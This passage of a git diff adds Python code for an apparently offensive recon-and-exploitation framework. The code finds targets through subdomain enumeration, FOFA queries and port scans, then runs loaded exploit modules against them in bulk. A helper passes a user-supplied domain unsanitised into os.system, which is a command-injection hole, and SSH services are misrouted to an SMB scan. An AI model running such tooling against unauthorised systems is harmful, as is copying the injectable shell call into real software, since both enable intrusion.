aiohttp.http.HttpProcessingError, aiohttp.client.ClientError) as e: + gLogger.myscan_error('target task id: %s error, the target is \'%s\', the error is %s' % (target['id'], target['host'], e.message)) + self._error_task_count += 1 + except Exception: + error_msg = traceback.format_exc() + gLogger.myscan_error('target task id: %s error, the target is \'%s\', the error is %s' % (target['id'], target['host'], error_msg)) + self._error_task_count += 1 + finally: + try: + if script_object and script_object.vul_list == [] and script_object.flag: + vul_list.append({'name': '{} FINGER'.format(script_object.name), 'url': script_object.target, 'software': script_object.name}) + except: + pass + self._find_task_count += 1 + return vul_list + + async def _do_service_scan(self, target): + vul_list = [] + target_addr = target['host'] + target_service = target['service'] + try: + if 'textui' in target_service: + vul_list.append(await dubbo_scan(target_addr)) + elif 'ftp' in target_service: + vul_list.append(await ftp_scan(target_addr)) + elif 'jdwp' in target_service: + vul_list.append(await jdwp_scan(target_addr)) + elif '4560' in target_service: + vul_list.append(await log4j_scan(target_addr)) + elif 'memcache' in target_service: + vul_list.append(await memcache_scan(target_addr)) + elif 'mongodb' in target_service: + vul_list.append(await mongodb_scan(target_addr)) + elif 'ms-sql-s' in target_service: # mssql + vul_list.append(await mssql_scan(target_addr)) + elif 'mysql' in target_service: + vul_list.append(await mysql_scan(target_addr)) + elif 'postgresql' in target_service: + vul_list.append(await postgresql_scan(target_addr)) + elif 'ldap' in target_service: + vul_list.append(await ldap_scan(target_addr)) + elif 'redis' in target_service: + vul_list.append(await redis_scan(target_addr)) + elif 'rmi' in target_service: + vul_list.append(await rmi_scan(target_addr)) + elif 'microsoft-ds' in target_service: + vul_list.append(await smb_scan(target_addr)) # smb + elif 'rsync' in target_service: + vul_list.append(await rsync_scan(target_addr)) + elif 'ssh' in target_service: + vul_list.append(await smb_scan(target_addr)) + elif 'zookeeper' in target_service: + vul_list.append(await zookeeper_scan(target_addr)) + elif 'socks' in target_service: + vul_list.append(await proxy_scan(target_addr)) + elif 'afs3-callback' in target_service: + vul_list.append(await weblogic_scan(target_addr)) + elif 'ajp13' in target_service: + vul_list.append(await ajp_scan(target_addr)) + except (asyncio.TimeoutError, ConnectionResetError, ConnectionAbortedError): + self._error_task_count += 1 + except (asyncio.CancelledError, ConnectionRefusedError, OSError): + self._error_task_count += 1 + except (aiohttp.ServerConnectionError, aiohttp.http.HttpProcessingError, aiohttp.client.ClientError) as e: + gLogger.myscan_error('target task id: %s error, the target is \'%s\', the error is %s' % (target['id'], target['host'], e.message)) + self._error_task_count += 1 + except Exception: + error_msg = traceback.format_exc() + gLogger.myscan_error('target task id: %s error, the target is \'%s\', the error is %s' % (target['id'], target['host'], error_msg)) + self._error_task_count += 1 + finally: + self._find_task_count += 1 + return vul_list + + async def scan_vul_submit_task(self, manager): + try: + for target in self.target_url_list: + if target['scan_type'] == 'web_scan': + if self.target_web_exploit_flag: + for module in self.target_module_list: + await manager.submit(self._do_web_scan, module, target, self.target_web_scan_func) + elif target['scan_type'] == 'service_scan': + if self.target_service_exploit_flag: + await manager.submit(self._do_service_scan, target) + self._total_task_count += 1 + except Exception as e: + gLogger.myscan_error(e.args) + finally: + await manager.shutdown() + + async def _scan_vul_submit_task(self, manager): + try: + while True: + if not self.target_queue.empty(): + target = await self.target_queue.get() + if target['scan_type'] == 'web_scan': + # param -cs + # target_url_queue.put({'id': task_id, 'host': i, 'service': 'web', 'scan_type': 'web_scan'}) + if self.target_web_exploit_flag: + for module in self.target_module_list: + await manager.submit(self._do_web_scan, module, target) + elif target['scan_type'] == 'service_scan': + # param -ss + # target_url_queue.put({'id': task_id, 'host': j, 'service': service, 'scan_type': 'service_scan'}) + if self.target_service_exploit_flag: + await manager.submit(self._do_service_scan, target) + self._total_task_count += 1 + elif not self.is_continue: + break + else: + await asyncio.sleep(0.1) + except Exception as e: + gLogger.myscan_error(e.args) + finally: + await manager.shutdown() + + async def scan_twice_vul_submit_task(self, manager): + pass + + async def scan(self): + """ + 第一次scan_vul_submit_task is scan the same as some have + + @return: + """ + # 根据线程数量创建一个PoolCollector(包含了一个异步池 + 一个异步队列)来进行管理 + async with PoolCollector.create(num_workers=self.target_threads) as manager: + # 初始化检测队列函数,用于后面最终结束线程池使用 + # check some + # asyncio.ensure_future(self._check_queue_is_empty()) + + # 封装了一个打印进度条的函数,里面是一个死循环,用于每60s进行打印一次进度条的功能 + asyncio.ensure_future(self._progress_daemon(manager)) + + # 提交运行的任务 + asyncio.ensure_future(self.scan_vul_submit_task(manager)) + + # await asyncio.ensure_future(self.scan_twice_vul_submit_task(manager)) + # asyncio.ensure_future(self.scan_twice_vul_submit_task(manager)) + + # 读取任务的结果 + async for record in manager.iter(): + if asyncio.isfuture(record): + # 判断是否是future对象,如果是的话那么就可以进行取结束完的结果 + for record in record.result(): + yield record + else: + yield record + + # 结束之后,再次打印一次进度条 + self.print_progress(manager) diff --git a/core/component/moduleloader.py b/core/component/moduleloader.py new file mode 100644 index 0000000..77c3fd7 --- /dev/null +++ b/core/component/moduleloader.py @@ -0,0 +1,129 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-07 16:47 + +from core.data import path_dict, gLogger +import importlib +import os +import re +import traceback + +# 模块加载类,用于加载poc用的,相当于一个模块Manager,写这个是用到后面出现新POC检测配合fofa来进行使用,这样会比较方便处理 +# exp loader, study for python + + +class ModuleLoader(object): + def __init__(self): + self.module_list = [] + self.load_poc_num = 0 + + def module_load(self, module_type, module_object=None): + try: + if module_object is None: + self._default_module_load(module_type) # moduleType: third | exploit | service + elif isinstance(module_object, str) and ',' not in module_object and module_object[-1] == '*': + self.wildcard_module_load(module_object) + elif isinstance(module_object, str) and ',' not in module_object: + self._single_module_load(module_object) # single module load, for example exploit.scripts.a.b + elif isinstance(module_object, str) and ',' in module_object and '*' in module_object: + module_object_list = module_object.split(',') + for module in module_object_list: + if '*' not in module: + self._single_module_load(module) + else: + self.wildcard_module_load(module) + elif isinstance(module_object, str) and ',' in module_object: + module_object_list = module_object.split(',') + module_list = [module for module in module_object_list] + self._multi_module_load(module_list) # multi module load, for example exploit.scripts.a.b, exploit.scripts.a.c + gLogger.myscan_debug('load module have %s' % str(self.module_list)) + return self.module_list + except ModuleNotFoundError as e: + gLogger.myscan_error('module load error, the error is {}'.format(e.args)) + exit(0) + except Exception as e: + error_smg = traceback.format_exc() + gLogger.myscan_error(error_smg) + exit(0) + + def wildcard_module_load(self, module: str): + # again verify + if module[-1] == '*' and module[-2] == '.': + load_module_path = module[:-2] + for parent, dir_names, filename_list in os.walk(path_dict.EXPLOIT_PATH, followlinks=True): + for filename in filename_list: + file_path = os.path.join(parent, filename) + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + format_poc_file_path = '.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3])) + if load_module_path in format_poc_file_path: + python_module_object = importlib.import_module(format_poc_file_path) + if hasattr(python_module_object, 'Script'): + a_module = getattr(python_module_object, 'Script') + self.module_list.append(a_module) + self.load_poc_num += 1 + + # 后面的用于单个payload检测,要不然每次都需要写个py文件来跑,太麻烦 + # for single 单个测试 + def _single_module_load(self, module: str): + python_module_object = importlib.import_module(module) + if hasattr(python_module_object, 'Script'): + a_module = getattr(python_module_object, 'Script') + self.module_list.append(a_module) + self.load_poc_num += 1 + + # for twp/three poc exp 加载>2 + def _multi_module_load(self, module_list: list): + for module in module_list: + python_module_object = importlib.import_module(module) + if hasattr(python_module_object, 'Script'): + a_module = getattr(python_module_object, 'Script') + self.module_list.append(a_module) + self.load_poc_num += 1 + + # default, all module 加载所有的 + def _default_module_load(self, module_type): + if module_type == 'exploit': + for parent, dir_names, filename_list in os.walk(path_dict.EXPLOIT_PATH, followlinks=True): + priority_flag = 0 + for filename in filename_list: + if len(filename_list) > 2: + for _ in filename_list: + _file_path = os.path.join(parent, _) + if _[-3:] == 'pyc' or _[:2] == '__' or _[-5:] == '__.py' or _[-3:] != '.py': + continue + _python_module_object = importlib.import_module('.'.join(re.split('[\\\\/]', _file_path[len(path_dict.ROOT_PATH):-3]))) + if hasattr(_python_module_object, 'Script'): + _script_module = getattr(_python_module_object, 'Script') + if _script_module(None).priority == 1: + self.module_list.append(_script_module) + self.load_poc_num += 1 + priority_flag = 1 + break + else: + file_path = os.path.join(parent, filename) + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + python_module_object = importlib.import_module('.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3]))) + if hasattr(python_module_object, 'Script'): + script_module = getattr(python_module_object, 'Script') + self.module_list.append(script_module) + self.load_poc_num += 1 + if priority_flag: + break + + elif module_type == 'third': + for parent, dirnames, filenameList in os.walk(path_dict.SPIDER_THIRD_PATH, followlinks=True): + for filename in filenameList: + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + file_path = os.path.join(parent, filename) + python_module_object = importlib.import_module('.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3]))) + if hasattr(python_module_object, 'do'): + a_module = getattr(python_module_object, 'do') + self.module_list.append(a_module) + + +if __name__ == '__main__': + moduleloader = ModuleLoader() + moduleloader.module_load('exploit') diff --git a/core/component/modulemanager.py b/core/component/modulemanager.py new file mode 100644 index 0000000..c2a8a10 --- /dev/null +++ b/core/component/modulemanager.py @@ -0,0 +1,101 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-10 1:06 + +from core.data import path_dict +from core.component.moduleloader import ModuleLoader +from core.component.variablemanager import GlobalVariableManager +from prettytable import PrettyTable +import os +import re +import importlib + + +class ModuleManager(object): + """prepare exploit, saving time for multi save module in cmsExploit. write in 2021.9.10 @zpchcbd""" + remainModuleList = [] + _registerSameTypeMultiModuleList = [] + + def __init__(self): + self.module_loader = ModuleLoader() + # self.init_multi_module_dict(moduleType) + + # 减少同类型多模块加载的时间消耗所写的类 + def init_multi_module_dict(self, module_type): + if module_type == 'exploit': + exploit_rule = {} + for parent, dirnames, filename_list in os.walk(path_dict.EXPLOIT_PATH, followlinks=True): + dir_file_length = 0 + for filename in filename_list: + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + dir_file_length += 1 + if dir_file_length >= 1: + dir_name = re.split('[\\\\/]', parent)[-1] + exploit_rule[dir_name] = [] + GlobalVariableManager.setValue('exploitRule', exploit_rule) + + @staticmethod + def show_module(): + ''' + show module name and path + @return: void + ''' + file_length = 0 + module_table = PrettyTable(['漏洞', '漏洞类型', '漏洞编号', '漏洞等级', '漏洞来源', '漏洞信息'], title='explot module table') + for parent, dirnames, filenameList in os.walk(path_dict.EXPLOIT_PATH, followlinks=True): + for filename in filenameList: + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + file_length += 1 + file_path = os.path.join(parent, filename) + _python_module_object = importlib.import_module('.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3]))) + _script_module = getattr(_python_module_object, 'Script') + _script_path = '.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3])) + script_module_information = _script_module(None).print() + module_table.add_row([_script_path, script_module_information[0], script_module_information[1], script_module_information[2], script_module_information[3], script_module_information[4]]) + print(module_table) + + def find_module(self, keyword): + ''' + find specific module name and path + @param keyword: specific keyword from exploit module + @return: void + ''' + file_length = 0 + module_table = PrettyTable(['漏洞', '漏洞类型', '漏洞编号', '漏洞等级', '漏洞来源', '漏洞信息'], title='explot module table') + for parent, dirnames, filenameList in os.walk(path_dict.EXPLOIT_PATH, followlinks=True): + for filename in filenameList: + if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': + continue + file_length += 1 + file_path = os.path.join(parent, filename) + _python_module_object = importlib.import_module('.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3]))) + _script_module = getattr(_python_module_object, 'Script') + _script_path = '.'.join(re.split('[\\\\/]', file_path[len(path_dict.ROOT_PATH):-3])) + if keyword in _script_path.lower(): + script_module_information = _script_module(None).print() + module_table.add_row([_script_path, script_module_information[0], script_module_information[1], script_module_information[2], script_module_information[3], script_module_information[4]]) + print(module_table) + + def load_module(self, module_type, module_object=None): + ''' + + @param module_type: + @param module_object: + @return: + ''' + self.module_loader.module_load(module_type, module_object) + + def get_load_module_list(self): + ''' + + @return: module_loader -> module_load() -> module_list + ''' + return self.module_loader.module_list + + +if __name__ == '__main__': + pass + # mm = ModuleManager('exploit') + # mm.checkModule() diff --git a/core/component/targetmanager.py b/core/component/targetmanager.py new file mode 100644 index 0000000..b220c42 --- /dev/null +++ b/core/component/targetmanager.py @@ -0,0 +1,466 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2022-08-06 11:08 + +from core.component.modulemanager import ModuleManager +from core.data import gLogger, path_dict +from core.component.enginemanager import EngineManager +from core.component.variablemanager import GlobalVariableManager +from core.utils.portwrapper import PortWrapper +from spider.clear import ClearSpider + +from spider.third import ThirdSpider +from spider.beian import BeianSpider +from spider.baidu import BaiduSpider +from spider.bing import BingSpider +from spider.crt import CrtSpider +from spider.domain2ip import Domain2ipSpider +from spider.friendspider import FriendChainsSpider +from spider.githubspider import GithubSpider +from spider.netspace import NetSpider +from spider.ip2domain import Ip2domainSpider +from spider.port import PortScan +from spider.sslcerts import SSLSpider +from spider.alive import AliveSpider + +from core.data import config_dict +from core.logger import CUSTOM_LOGGER_LEVEL + +import openpyxl +import os +import asyncio +import sys + + +def ksubdomain(domain): + gLogger.myscan_debug("ksubdomain_spider_start") + ksub_domain_list = [] + ksubdomain_folder = './ksubdomain' + ksubdomain_file = '{}/{}.txt'.format(ksubdomain_folder, domain) + os.system('./ksubdomain/ksubdomain --skip-wild -d {} -o {}'.format(domain, ksubdomain_file)) + try: + with open(ksubdomain_file, 'rt') as f: + for each_line in f.readlines(): + each_line_split = each_line.split('=>') + subdomain = each_line_split[0].strip() # 子域名 + ksub_domain_list.append(subdomain) + os.remove(ksubdomain_file) # 删除临时文件 + gLogger.myscan_info('[{}] [{}] {}'.format('ksubdomain', len(ksub_domain_list), ksub_domain_list)) + except Exception as e: + ksub_domain_list = [] + finally: + return ksub_domain_list + + +class TargetManager: + def __init__(self, task_name, target): + self.task_name = task_name + self.target_domain = None + + self.module_manager = ModuleManager() + + self.target_web_scan_func = 'attack' + self.target_search_flag = False + self.target_web_exploit_flag = False + self.target_service_exploit_flag = False + self.target_sql_exploit_flag = False + + self.target_show_module_flag = False + self.target_find_module = None + + self.target_url = None + self.target_fofa = None + self.target_ips = None + + self.target_ip_file = None + # self.target_domain_file = None + self.target_url_file = None + + self.target_company = None + self.target_ksub_domain = None + self.target_threads = None + self.target_module = None + + self.target_port = target.port + + self.domain_list = list() + self.asn_list = list() + self.ip_list = list() + self.ip_port_list = list() + self.ip_segment_list = list() + self.domain_alive_list = list() + + self.ip_port_service_list = list() + + self._register_target_options(target) + + def write_file(self, web_lists, page): + try: + workbook = openpyxl.load_workbook(path_dict.ROOT_PATH + str(self.task_name) + ".xlsx") + worksheet = workbook.worksheets[page] + for web_info in web_lists: + web = [] + for _ in web_info.values(): + web.append(_) + worksheet.append(web) + workbook.save(path_dict.ROOT_PATH + str(self.task_name) + ".xlsx") + workbook.close() + except FileNotFoundError: + gLogger.myscan_warn('if you want to record search and attack information, you need start with -o param.') + except Exception as e: + gLogger.myscan_warn('[{}] write_file error, error is {}'.format(self.target_domain, e.__str__())) + + @classmethod + def create_target_manager(cls, task_name, parser): + args = parser.parse_args() + if not args.domain and not args.ip_file and not args.url_file \ + and not args.url and not args.ips and not args.fofa and not args.show and not args.find: + parser.print_help(sys.stdout) + exit(0) + return cls(task_name, args) + + def _register_target_options(self, target): + if target.debug: + gLogger.set_level(CUSTOM_LOGGER_LEVEL.MYSCAN_DEBUG) + + if target.proxy: + config_dict['proxy'] = target.proxy + + if target.ksub: + self.target_ksub_domain = target.ksub + + if target.port: + GlobalVariableManager.setValue('port_config', target.port) + + if target.threads: + self.target_threads = target.threads + + if target.websearch: + self.target_search_flag = True + + if target.servicescan: + self.target_service_exploit_flag = True + + if target.webscan: + self.target_web_exploit_flag = True + + if target.show: + self.target_show_module_flag = True + + if target.find: + self.target_find_module = target.find + + if target.webfunc: + self.target_web_scan_func = target.webfunc + + if target.url: + self.target_url = target.url + + if target.domain: + self.target_domain = target.domain + + if target.fofa: + self.target_fofa = target.fofa + + if target.ips: + self.target_ips = target.ips + + if target.url_file: + self.target_url_file = target.url_file + + # if target.domain_file: + # self.target_domain_file = target.domain_file + + if target.ip_file: + self.target_ip_file = target.ip_file + + if target.module: + self.target_module = target.module + + if target.company: + self.target_company = target.company + + async def _domain_third_engine_api(self, target_domain): + gLogger.myscan_debug("third_spider_start") + result_list = await ThirdSpider(target_domain, self.task_name).main() + self.domain_list.extend(result_list) + + async def _domain_search_engine_api(self, target_domain): + gLogger.myscan_debug("beian_spider_start") + gLogger.myscan_debug("bing_spider_start") + gLogger.myscan_debug("baidu_spider_start") + gLogger.myscan_debug("crt_spider_start") + gLogger.myscan_debug("github_spider_start") + task_list = [ + asyncio.create_task(BeianSpider(target_domain, self.task_name).main()), + asyncio.create_task(CrtSpider(target_domain, self.task_name).main()), + asyncio.create_task(BaiduSpider(target_domain, self.task_name).main()), + asyncio.create_task(BingSpider(target_domain, self.task_name).main()), + asyncio.create_task(GithubSpider(target_domain, self.task_name).main()) + ] + result_list = await asyncio.gather(*task_list) + for _ in result_list: + if _ is not None: + self.domain_list.extend(_) + + async def _domain_space_engine_api(self, target_domain): + gLogger.myscan_debug("space_spider Start") + result_list, self.asn_list, self.ip_list, self.ip_port_list = await NetSpider(target_domain, self.task_name).main() + self.domain_list.extend(result_list) + self.domain_list = list(set(self.domain_list)) + + async def _friend_search_api(self, target_domain): + gLogger.myscan_debug("friend_chains_spider_start") + result_list = await FriendChainsSpider(target_domain, self.domain_list).main() + self.domain_list.extend(result_list) + self.domain_list = list(set(self.domain_list)) + + async def _domain_2_ip_api(self, target_domain): + gLogger.myscan_debug("domain_2_ip_spider_start") + result_list = await Domain2ipSpider(target_domain, self.task_name, self.domain_list).main() + for _ in result_list: + self.ip_list.append(_['ip']) + self.ip_list = list(set(self.ip_list)) + + async def _ip_2_domain_api(self, target_domain): + gLogger.myscan_debug("ip_2_domain_spider_start") + self.ip_list = [i for i in self.ip_list if i] + result_list = await Ip2domainSpider(target_domain, self.task_name, self.ip_list).main() + self.domain_list.extend(result_list) + self.domain_list = list(set(self.domain_list)) + + async def _ssl_search_api(self, target_domain): + gLogger.myscan_debug("_ssl_search_spider_start") + result_list = await SSLSpider(target_domain, self.task_name, self.domain_list).main() + self.domain_list.extend(result_list) + self.domain_list = list(set(self.domain_list)) + + async def _port_scan_api(self, target_domain): + gLogger.myscan_debug("_port_scan_spider_start") + port_config = GlobalVariableManager.getValue('port_config') + for i in self.ip_list: + flag = True + for j in self.ip_port_list: + if i == j['ip']: + flag = False + break + if flag: + self.ip_port_list.append({'ip': i, 'port': []}) + PortWrapper.generate_port(port_config, self.ip_port_list) + self.ip_port_service_list, http_protocol_list = await PortScan(target_domain, self.task_name, self.ip_port_list).main() + self.domain_list.extend(http_protocol_list) + + async def _alive_search_api(self, target_domain): + gLogger.myscan_debug("_alive_search_spider_start") + self.domain_alive_list = await AliveSpider(target_domain, self.task_name, self.domain_list).main() + + async def _search_func(self, target_domain): + if self.target_ksub_domain: + self.domain_list.extend(ksubdomain(target_domain)) + await self._domain_third_engine_api(target_domain) + await self._domain_search_engine_api(target_domain) + await self._domain_space_engine_api(target_domain) + await self._friend_search_api(target_domain) + await self._domain_2_ip_api(target_domain) + await self._ip_2_domain_api(target_domain) + await self._ssl_search_api(target_domain) + + ClearSpider(target_domain, self.task_name).flush_asn(self.asn_list) + ClearSpider(target_domain, self.task_name).flush_ip_segment(self.ip_list, self.ip_segment_list) + + self.domain_list = list(set(self.domain_list)) + await self._port_scan_api(target_domain) + await self._alive_search_api(target_domain) + + def free_memory(self): + self.domain_list[:], self.asn_list[:], self.ip_list[:], self.ip_port_list[:] = [], [], [], [] + self.ip_segment_list[:], self.domain_alive_list[:], self.ip_port_service_list[:] = [], [], [] + + async def search(self): + flag = True + + if self.target_show_module_flag and flag: + self.module_manager.show_module() + flag = False + exit(0) + + if self.target_find_module and flag: + self.module_manager.find_module(self.target_find_module) + flag = False + exit(0) + + # python3 batch.py -d test.com -ws -> ok + # python3 batch.py -d test.com -ws -cs -> ok + # python3 batch.py -d test.com -ws -cs -ss -> ok + if self.target_domain and flag: + if self.target_search_flag: + await self._search_func(self.target_domain) + flag = False + + # python3 batch.py -c 横戈安全有限公司 -> no + if self.target_company and flag: + flag = False + + # python3 batch.py -fs "title=\"系统管理\"" -cs -> ok + # python3 batch.py -fs "title=\"系统管理\"" -m exploit.a.b -cs -> ok + # python3 batch.py -fs "title=\"系统管理\"" -m exploit.a.b,exploit.c.d -cs -> ok + + if self.target_fofa and flag: + from core.netapi import fofaSearch + self.domain_alive_list.extend(await fofaSearch(self.target_fofa)) + flag = False + + # python3 batch.py -u test.com -cs -> ok + # python3 batch.py -u test.com -m exploit.a.b -cs -> ok + # python3 batch.py -u test.com -m exploit.a.b, exploit.c.d -cs -> ok + + if self.target_url and flag: + self.domain_alive_list.append(self.target_url) + flag = False + + # python3 batch.py -i 127.0.0.1 -> ok + # python3 batch.py -i 127.0.0.1 -p 9001 -> ok + # python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -> ok + # python3 batch.py -i 127.0.0.1 -p 9001-9005 -> ok + + # python3 batch.py -i 127.0.0.1 -cs + # python3 batch.py -i 127.0.0.1 -m exploit.a.b -cs + # python3 batch.py -i 127.0.0.1 -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -i 127.0.0.1 -m exploit.a.b -cs -ss + # python3 batch.py -i 127.0.0.1 -m exploit.a.b,exploit.c.d -cs -ss + + # python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b -cs + # python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b -cs -ss + # python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b,exploit.c.d -cs -ss + + # python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b -cs + # python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b -cs -ss + # python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b,exploit.c.d -cs -ss + + # python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b -cs + # python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b -cs -ss + # python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b,exploit.c.d -cs -ss + + if self.target_ips and flag: + self.ip_port_list = PortWrapper.generate_format(self.target_ips) + port_config = GlobalVariableManager.getValue('port_config') + PortWrapper.generate_port(port_config, self.ip_port_list) + self.ip_port_service_list, http_protocol_list = await PortScan(self.target_domain, self.task_name, self.ip_port_list).main() + self.domain_alive_list.extend(http_protocol_list) + + # python3 batch.py -uf url.txt -ws + # python3 batch.py -uf url.txt -ws -cs + # python3 batch.py -uf url.txt -ws -m exploit.a.b -cs + # python3 batch.py -uf url.txt -ws -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -uf url.txt -ws -cs -ss + # python3 batch.py -uf url.txt -ws -m exploit.a.b -cs -ss + # python3 batch.py -uf url.txt -ws -m exploit.a.b,exploit.c.d -cs -ss + if self.target_url_file and flag: + self.domain_alive_list = [domain.strip('\n') for domain in open(self.target_url_file, 'r').readlines()] + + + # python3 batch.py -df domain.txt -ws + # python3 batch.py -df domain.txt -ws -cs + # python3 batch.py -df domain.txt -ws -m exploit.a.b -cs + # python3 batch.py -df domain.txt -ws -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -df domain.txt -ws -cs -ss + # python3 batch.py -df domain.txt -ws -m exploit.a.b -cs -ss + # python3 batch.py -df domain.txt -ws -m exploit.a.b,exploit.c.d -cs -ss + # if self.target_domain_file and flag: + # self.domain_list = [domain.strip('\n') for domain in open(self.target_domain_file, 'r').readlines()] + # for domain in self.domain_list: + # if self.target_search_flag: + # await self._search_func(domain) + + # python3 batch.py -if ip.txt -cs + # python3 batch.py -if ip.txt -m exploit.a.b -cs + # python3 batch.py -if ip.txt -m exploit.a.b,exploit.c.d -cs + # python3 batch.py -if ip.txt -cs -ss + # python3 batch.py -if ip.txt -m exploit.a.b -cs -ss + # python3 batch.py -if ip.txt -m exploit.a.b,exploit.c.d -cs -ss + if self.target_ip_file and flag: + self.ip_list = [scan_ip.strip('\n') for scan_ip in open(self.target_ip_file, 'r').readlines()] + self.ip_port_list = PortWrapper.generate_format(self.ip_list) + port_config = GlobalVariableManager.getValue('port_config') + PortWrapper.generate_port(port_config, self.ip_port_list) + self.ip_port_service_list, http_protocol_list = await PortScan(self.target_domain, self.task_name, self.ip_port_list).main() + self.domain_alive_list.extend(http_protocol_list) + + async def _register_target(self): + + target_url_queue = asyncio.Queue(-1) + task_id = 1 + + # web类型 + for i in self.domain_alive_list: + # for i in ['https://jhlxj.net']: + await target_url_queue.put({'id': task_id, 'host': i[:-1] if i.endswith('/') else i, 'service': 'web', 'scan_type': 'web_scan'}) + task_id += 1 + + # service类型 + for i in self.ip_port_service_list: + service = i['service'] + for j in i['ip']: + await target_url_queue.put({'id': task_id, 'host': j, 'service': service, 'scan_type': 'service_scan'}) + task_id += 1 + + return target_url_queue + + def _register_target_list(self): + + target_url_list = list() + task_id = 1 + + # web类型 + for i in self.domain_alive_list: + # for i in ['https://jhlxj.net']: + target_url_list.append({'id': task_id, 'host': i[:-1] if i.endswith('/') else i, 'service': 'web', 'scan_type': 'web_scan'}) + task_id += 1 + + # service类型 + for i in self.ip_port_service_list: + service = i['service'] + for j in i['ip']: + target_url_list.append({'id': task_id, 'host': j, 'service': service, 'scan_type': 'service_scan'}) + task_id += 1 + + return target_url_list + + async def scan(self, loop=None): + engine_manager = EngineManager(self.task_name) + + # async_queue = await self._register_target() + # self.engine_manager.set_target_queue(async_queue) + + if engine_manager.target_url_list is None: + target_url_list = self._register_target_list() + engine_manager.set_target_url_list(target_url_list) + + if engine_manager.target_web_exploit_flag is None: + engine_manager.set_target_web_exploit_flag(self.target_web_exploit_flag) + + if engine_manager.target_service_exploit_flag is None: + engine_manager.set_target_service_exploit_flag(self.target_service_exploit_flag) + + if engine_manager.target_module_list is None: + self.module_manager.load_module('exploit', self.target_module) + engine_manager.set_target_module_list(self.module_manager.get_load_module_list()) + + if engine_manager.target_threads is None: + engine_manager.set_target_threads(self.target_threads) + + if engine_manager.target_web_scan_func is None: + engine_manager.set_web_scan_func(self.target_web_scan_func) + + result_list = [] + async for result in engine_manager.scan(): + if result: + result_list.append(result) + + gLogger.myscan_info(result_list) + self.write_file(result_list, 14) + diff --git a/core/variablemanager.py b/core/component/variablemanager.py similarity index 100% rename from core/variablemanager.py rename to core/component/variablemanager.py diff --git a/core/console.py b/core/console.py deleted file mode 100644 index 0c2a558..0000000 --- a/core/console.py +++ /dev/null @@ -1,4 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @blog : https://www.cnblogs.com/zpchcbd/ -# @Time : 2021-11-26 17:29 \ No newline at end of file diff --git a/core/constant.py b/core/constant.py index 343bce8..0fe5579 100644 --- a/core/constant.py +++ b/core/constant.py @@ -2,15 +2,172 @@ # @Author : zpchcbd HG team # @Time : 2021-09-10 14:14 +PORT_RULES = { + 'FTP': ['21'], + 'SSH': ['22'], + 'Telnet': ['23'], + 'SMTP': ['25'], + 'DNS': ['53'], + 'DHCP': ['68'], + 'HTTP': ['80', '8080', '81'], + 'TFTP': ['69'], + 'POP3': ['995'], + 'NetBIOS': ['139'], + 'IMAP': ['143'], + 'HTTPS': ['443'], + 'SNMP': ['161'], + 'LDAP': ['489'], + 'SMB': ['445'], + 'SMTPS': ['465'], + 'Linux R RPE': ['512'], + 'Linux R RLT': ['513'], + 'Linux R cmd': ['514'], + 'Rsync': ['873'], + 'IMAPS': ['993'], + 'Proxy': ['1080'], + 'JavaRMI': ['1099'], + 'Lotus': ['1352'], + 'MSSQL': ['1433', '1434'], + 'Oracle': ['1521'], + 'PPTP': ['1723'], + 'cPanel': ['2082'], + 'CPanel': ['2083'], + 'Zookeeper': ['2181'], + 'Docker': ['2375'], + 'Zebra': ['2604'], + 'MySQL': ['3306'], + 'Kangle': ['3312'], + 'RDP': ['3389'], + 'SVN': ['3690'], + 'Rundeck': ['4440'], + 'GlassFish': ['4848'], + 'PostgreSql': ['5432'], + 'PcAnywhere': ['5632'], + 'VNC': ['5900'], + 'CouchDB': ['5984'], + 'varnish': ['6082'], + 'Redis': ['6379'], + 'Weblogic': ['9001'], + 'Kloxo': ['7778'], + 'Zabbix': ['8069', '10050', '10051'], + 'RouterOS': ['8291'], + 'Elasticsearch': ['9200', '9300'], + 'Memcached': ['11211'], + 'MongoDB': ['27017', '28017'], + 'Hadoop': ['50070'] +} -class ModulePath: - EXPLOIT = 'exploit/web/' - THIRDLIB = 'spider/thirdLib/' - - -class ProgramPath: - PYTHON = 'lib/python.exe' - SQLMAP = 'lib/sqlmap/' +# PORT +TOP_1000_BANNER_PORT = 